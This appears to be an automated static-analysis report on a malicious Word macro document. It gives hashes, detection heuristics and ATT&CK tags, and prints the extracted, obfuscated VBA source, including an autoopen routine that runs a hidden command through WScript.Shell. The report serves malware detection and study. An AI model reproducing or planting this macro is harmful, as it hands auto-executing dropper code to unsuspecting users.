Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d40f14264ff1609a…

MALICIOUS

Office (OLE)

89.0 KB Created: 2019-01-14 07:02:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: 56e7f883ca25f92f58038a467032db3e SHA-1: 0c4a733192a2c1c73da6f9f5e76b08fa995f9755 SHA-256: d40f14264ff1609ac1943630f012910f7187fff9904332bb8ef79d5b1f9927e0
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The macros utilize WScript.Shell and CreateObject, indicating an intent to execute arbitrary commands. The presence of the 'autoopen' macro and the 'Shell()' call strongly suggests the execution of a second-stage payload, likely downloaded from a remote source.

Heuristics 9

  • ClamAV: Doc.Malware.Olemal-6814505-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Olemal-6814505-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
          End Select
    P8iin = Array(Zbjlo, Pd58, Zk7i, CreateObject("wscript.shell").Run(("" + V6idza + Xpo87q3 + S9z3jj + Ozwnoqo + Ntwitldp + Mnpu.TextBox1) + Rijirbn5s + V69bzwzj + Qkz6wpi8, 90 - 90), W8so, Mrad4, Wij7p)
       Select Case Lbffz
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
          End Select
    P8iin = Array(Zbjlo, Pd58, Zk7i, CreateObject("wscript.shell").Run(("" + V6idza + Xpo87q3 + S9z3jj + Ozwnoqo + Ntwitldp + Mnpu.TextBox1) + Rijirbn5s + V69bzwzj + Qkz6wpi8, 90 - 90), W8so, Mrad4, Wij7p)
       Select Case Lbffz
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
    Sub autoopen()
    Uir93 = Xu94 - Vpja0
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2971 bytes
SHA-256: 7521a6a3d1f635b8261b0ea07e4172b52cbca7004128b286c509cedc83643be0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Mnpu"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
Uir93 = Xu94 - Vpja0
Jn57a = Av6af - J0qow
Yvqul = Bv25 - I128
W0zr = Sqdz - M7vu6
Ulbd = N245 - Uwtt
Q3o5
Kf7i = T5d0 - Jzuj
A8wvi = Su6c - Vn4z
O4h4r = Lpfn9 - Gnk8
Gikzz = Wol1 - Gzh0
Htud = Car0 - W8ml
End Sub

Attribute VB_Name = "Tzado"
Function Q3o5()
On Error Resume Next
   Select Case Dzor
         Case 698
            Jdo5n = CDate(C5zb2)
            Z25i = Qk6vd
            Ai6cc = Sgn(Szcd)
         Case 463
            B6d4 = 528
            Evz4 = CDbl(346)
            Zaqa3 = Sin(Ovzm)
         Case 638
            Mjrqa = Fix(Rqju)
            Gbi2 = Round(48)
            Nqz20 = Aniz
      End Select
P8iin = Array(Zbjlo, Pd58, Zk7i, CreateObject("wscript.shell").Run(("" + V6idza + Xpo87q3 + S9z3jj + Ozwnoqo + Ntwitldp + Mnpu.TextBox1) + Rijirbn5s + V69bzwzj + Qkz6wpi8, 90 - 90), W8so, Mrad4, Wij7p)
   Select Case Lbffz
         Case 564
            Tn9z = CDate(Nkzud)
            S7a0p = Xvzl
            Trwmm = Sgn(O8ncf)
         Case 126
            Ezo2v = 749
            Gqzq3 = CDbl(702)
            Pdj5 = Sin(Uuwh1)
         Case 865
            Wdmqh = Fix(Bl3s)
            V17t = Round(650)
            V7kz = Zu49s
      End Select
   Select Case Iqn10
         Case 418
            Adpk = CDate(L6ui5)
            Kndt = X1lzu
            F1bd = Sgn(M924)
         Case 197
            Ew06q = 160
            Gz845 = CDbl(306)
            Ljzr = Sin(Rf7n)
         Case 153
            Gf7ol = Fix(B5uj)
            Nn6u = Round(767)
            X65v1 = Vwb0
      End Select
End Function


Attribute VB_Name = "A95j"

Attribute VB_Name = "Rkbu2"

Attribute VB_Name = "Qzza"

Attribute VB_Name = "Xo0i"

Attribute VB_Name = "Ecqa"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Pqj9f"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "D57la"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False